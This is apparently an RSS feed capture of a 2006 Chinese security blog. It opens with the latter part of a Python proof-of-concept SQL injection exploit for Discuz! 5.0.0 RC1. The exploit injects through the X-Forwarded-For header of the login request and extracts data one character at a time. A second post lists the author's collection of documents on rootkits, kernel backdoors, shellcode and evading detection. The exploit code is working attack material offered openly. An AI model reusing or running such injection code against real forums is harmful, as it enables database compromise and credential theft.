#000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">logging.php?action=login</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Accept-Language</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">zh-cn</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Content-Type</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">application/x-www-form-urlencoded</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">User-Agent</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Connection</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Keep-Alive</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Cache-Control</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">no-cache</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">X-Forwarded-For</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:query,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Cookie</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">cdb_sid=70KRjS; cdb_cookietime=2592000</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">}<br />            data </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">formhash=6a49b97f&amp;referer=discuz.php&amp;loginmode=&amp;styleid=&amp;cookietime=2592000&amp;loginfield=username&amp;username=test&amp;password=123456789&amp;questionid=0&amp;answer=&amp;loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000"><br />            </span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print header</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">            </span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">sys.exit(1)</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">            http </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> httplib.HTTPConnection(realurl[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])<br />            http.request(</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">POST</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">, path </span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">logging.php?action=login&amp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,data , header)<br />            </span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">sleep(1)</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">            response </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> http.getresponse()<br />            re1 </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> response.read()<br />            </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> re1.find(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">SELECT</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:<br />                </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\n[-] Unvulnerable host</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br />                </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[-] Exit..</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br />                sys.exit(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br />    <br />            </span><span style="COLOR: #0000ff">elif</span><span style="COLOR: #000000"> re1.find(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">ip3</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:<br />                sys.stdout.write(chr(i))<br />                http.close()<br />                </span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">sleep(1)</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">                </span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000"><br />            <br />            </span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print re1</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">            </span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print '-----------------------------------------------'</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">            http.close()<br />            </span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">sleep(1)</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">    sys.stdout.write(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\n</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)<br /><br /></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000"> main ():<br />    </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Discuz! 5.0.0 RC1 SQL injection exploit</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br />    </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Codz by wofeiwo wofeiwo[0x40]gmail[0x2C]com\n</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br /><br />    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> len(sys.argv) </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">:<br />        url </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> urlparse(sys.argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])<br />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">] </span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:<br />            u </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">] </span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br />        </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">: <br />            u </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]<br />    </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:<br />        </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Usage: %s &lt;url&gt; &lt;uid&gt;</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">%</span><span style="COLOR: #000000"> sys.argv[0]<br />        </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Example: %s http://127.0.0.1/dz/ 1</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">%</span><span style="COLOR: #000000"> sys.argv[0]<br />        sys.exit(0)<br />    <br />    lenth </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">32</span><span style="COLOR: #000000"><br />    </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+] Connect %s</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">%</span><span style="COLOR: #000000"> url[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]<br />    </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+] Trying<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br />    </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+] Plz wait a long long time<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br /><br />    injection(lenth, url, u)<br /><br />    </span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+] Finished</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br /><br /><br /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">__name__</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">__main__</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">: main()<br /></span></div><br /><br />btw: 我一直认为,0day不是最重要的,重要的是懂得其理<br />我写的这个Code就像PoC的字面意思一样,只不过是个证明而已.所以也没必要写成最优代码.这个code我只本地测试过.远程测试不成功是很正常的.当然,如果懂了原理,写个能用的exploit还是很方便的.否则连为什么不成功都不清不楚,也只有郁闷着了.<br /><br /><img src ="http://www.phpweblog.net/GaRY/aggbug/419.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-09-15 21:45 <a href="http://www.phpweblog.net/GaRY/archive/2006/09/15/Dz_5RC1.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>要回学校了</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/27/362.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sun, 27 Aug 2006 10:34:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/27/362.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/362.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/27/362.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/362.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/362.html</trackback:ping><description><![CDATA[整理整理电脑.看看带点啥去学校.<br />除了研究用的exp,一些必备的tools和wares,<br />最放不下的是一堆技术文档...可惜只有个u盘.放不下太多<br />拾掇拾掇.整理一点带过去吧...<br /><br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">DOCUMENTS<br />├─Win32<br />│      API32</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">CHM<br />│      Bypassing PatchGuard on Windows x64</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      defeating</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">w2k3</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">stack</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">protection</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      greatdong_Undocumented Windows NT 中文版</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      Hook 系统服务隐藏端口</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      JIURL PE 格式学习总结（一）</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000"> PE文件概述</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      JIURL PE 格式学习总结（三）</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000"> PE文件中的输入函数</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      JIURL PE 格式学习总结（二）</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000"> PE文件中的输出函数</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      JIURL PE 格式学习总结（四）</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000"> PE文件中的资源</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Raising The Bar </span><span style="COLOR: #0000ff">For</span><span style="COLOR: #000000"> Windows Rootkit Detection</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      The PE </span><span style="COLOR: #008080">file</span><span style="COLOR: #000000"> format</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      Undocumented Windows </span><span style="COLOR: #000000">2000</span><span style="COLOR: #000000"> Secrets</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">CHS</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      WIN2000 网络命令手册</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      Win32 API 注册表类的编制以及使用　文章查看 【关注VC MFC C</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000"> _NET Windows 软件开发技术 软件工程 项目管理的开发人员个人专栏】.mht</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">│      Windows CE API机制初探</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Windows CE初探</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Windows 核心编程</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      windows2000Driving</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      Windows内核调试器原理浅析</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Windows异常处理流程</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Windows的自启动方式</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Windows程序设计</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">chm<br />│      WinInfo</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">CoolICE WebLog</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      win远程终端</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      [转载]A </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> way to bypass Windows heap protections </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> powered by phpwind_net</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]Hook初步 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> EvilOctal Security Team </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> E_S_T</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]IIS5 ISAPI Extension Back Door </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> powered by phpwind_net</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]Kernel</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">mode backdoors </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> Windows NT </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> EvilOctal Security Team </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> E_S_T</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]PE引入表修改实战 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> EvilOctal Security Team </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> E_S_T</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]Win32PE病毒入门教程 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> EvilOctal Security Team </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> E_S_T</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]Window 消息大全使用详解 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> EvilOctal Security Team </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> E_S_T</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]Windows 2000下Api函数的拦截分析 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> powered by phpwind_net</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      [转载]Windows下的函数hook技术 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> powered by phpwind_net</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      『 SafeChina Security Forums 』 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">『编程之道』 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> 内核级文件读写流程(zt)</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      一种新的穿透防火墙的数据传输技术</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      克隆管理员帐号的方法</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      内核级利用通用Hook函数方法检测进程</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      利用伪造内核文件来绕过IceSword的检测</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      在NT系列操作系统里让自己“消失”</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      在Win2000</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">XP上安静地替换正在使用的系统文件</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      挂钩Windows API</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      木马编程相关杂谈</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      木马隐藏端口的一种方法</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      深入剖析EFS</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      管理员组获取系统权限的完美解决方案</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      绕过Windows Rootkit检测系统</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      获取Windows 系统的内核变量</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      <br />├─Web<br />│      DHTML 手册</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      AJAX开发简略</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      ADO210</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">chm<br />│      behavior55</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">chm<br />│      css2</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">chm<br />│      mysql5</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">chm<br />│      <br />├─Server<br />│      ApacheManual</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      FTP协议的分析和扩展</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Hackproofing Oracle Application Server</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      zues_user_manual</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      这是我前段学vsftpd时整理的，有错的地方，大伙指点啊 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> China Linux Forum</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Apache PHP </span><span style="COLOR: #008080">MySQL</span><span style="COLOR: #000000"> Zend GD OpenSSL vsftpd ___ 完全编译安装 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> China Linux Forum</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Chrooting 后台服务和系统程序指导</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      proftp学习笔记－配置全功略 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> China Linux Forum</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      <br />├─Python<br />│      diveintopython</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">html</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">zh</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">cn</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">tbz<br />│      mod_python manual</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">all</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      OReilly</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">ProgrammingPython2ndEd</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      OReilly</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">PythonPocketReference2ndEd2001</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      OReilly</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">PythonProgrammingonWin32</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      OReilly</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Python</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">in</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">a</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Nutshell</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">2nd</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Edition</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Jul</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">2006</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      python_2_4_tut</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      thinkinginpython</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      <br />├─PHPZend<br />│      Exceed PHP Club </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> PHP有多线程功能没</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      extending</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">php</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">pdf<br />│      Extending_and_Embedding_PHP</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">zip<br />│      milw0rm </span><span style="COLOR: #000000">~</span><span style="COLOR: #000000"> View topic </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> php local underflow could lead to arbitary code execution</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      PHP 扩展写作第一部 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> powered by Discuz</span><span style="COLOR: #000000">!.</span><span style="COLOR: #000000">mht<br />│      PHP</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      php_manual_zh</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">chm<br />│      PHP技术文档 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> PHP扩展写作第二部 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> powered by Discuz</span><span style="COLOR: #000000">!.</span><span style="COLOR: #000000">mht<br />│      smarty_manual</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">zip<br />│      Zend Technologies </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> Extension Writing Tutorials </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> Part I Introduction to PHP and Zend</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Zend Technologies </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> Extension Writing Tutorials </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> Part II Parameters</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> Arrays</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> and ZVALs</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Zend Technologies </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> Extension Writing Tutorials </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> Part III Resources</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Zend_Optimizer_User_Guide</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">pdf<br />│      [转载]扩展你的PHP之入门篇 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> EvilOctal Security Team </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> E_S_T</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      扩展你的PHP之入门篇</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      杂谈PHP4内核Hacking</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      由PHP imap函数绕过安全模式及open_basedir限制漏洞想到的 </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> MICROIE</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      编写自己的php扩展函数</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      <br />├─Overflow</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">Shellcode<br />│      AIX PowerPC体系结构及其溢出技术学习笔记</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Bruteforcing the retaddr in local bof exploits[译文]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      C</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">程序的缓冲区溢出攻击</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      heaptut</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">chinese</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">txt<br />│      No</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Starch</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Press</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Hacking</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">The</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Art</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Of</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Exploitation</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">eBook</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">LiB</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">chm<br />│      One Exploit Play More OS</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Ph4nt0m Security Team BBS </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> [原创]由python的realpath漏洞小议realpath()函数</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      shellcode技术探讨续二</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Shellcode编写技术</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">mht<br />│      Syngress</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Buffer</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Overflow</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Attacks</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Dec</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">2004</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">eBook</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">DDU</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rar<br />│      THE SHELLCODER</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">S HANDBOOK.rar<br />│      win xp-2000-2003 Connect Back shellcode for Overflow exploit 275 bytes.mht<br />│      win xp-2000-2003 Download File and Exec 241 bytes.mht<br />│      Win32平台格式化串漏洞利用技术.mht<br />│      Windows 2000缓冲区溢出入门.mht<br />│      windows POSIX 子系统权限提升漏洞分析以及利用(v 1_0).mht<br />│      Windows Xp Sp2溢出保护.mht<br />│      [原创]ASM编写通用Win32系统ShellCode for MASM32 邪恶八进制信息安全团队官方技术讨论组 - 努力为祖国的信息安全撑起一片蓝天 - EvilOctal Security Team - E_S_T.mht<br />│      [原创]动态函数监控技术在缓冲区溢出检测中的应用 - EvilOctal Security Team - E_S_T.mht<br />│      [原创]菜鸟溢出手册 - EvilOctal Security Team - E_S_T.mht<br />│      [原创翻译]使用windows系统调用编写shellcode - EvilOctal Security Team - E_S_T.mht<br />│      [转载]API函数地址的获取 - EvilOctal Security Team - E_S_T.mht<br />│      [转载]return into libc attacks used to bypass non-executable stacks - EvilOctal 